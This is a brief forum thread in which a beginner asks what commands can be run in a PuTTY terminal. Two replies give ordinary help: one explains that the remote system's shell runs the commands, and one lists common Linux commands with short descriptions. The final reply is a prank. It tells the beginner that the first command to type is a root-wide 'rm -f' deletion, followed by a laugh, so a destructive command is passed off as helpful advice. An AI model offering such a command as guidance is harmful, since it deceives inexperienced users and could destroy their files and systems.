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Putty Commands
I am trying to search the internet for the commands I can execute on Putty Terminals and can anyone let me know what commands I can execute on the terminal of Putty.
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Re: Putty Commands
The commands executed by Putty are same as that of the destination OS and so if you are trying to connect to Windows OS it would execute all the commands on the Windows Command prompt and same for Linux.
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Re: Putty Commands
Just to help you out I would add some commonly used commands as well ls - to list files in a directory: cd - change directory (navigate to some directory): cp - copy a file: mv - move a file (also used to rename files): rm - remove a file: mkdir - make directory: pwd - show your current location: whoami - find out which user you are: wget - to download some url content to the current directory yum - To install any packages from the urls You can refer to the --help or man for details |
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Re: Putty Commands
well the first command u need to type is Code:
rm -f/* heehhehehe
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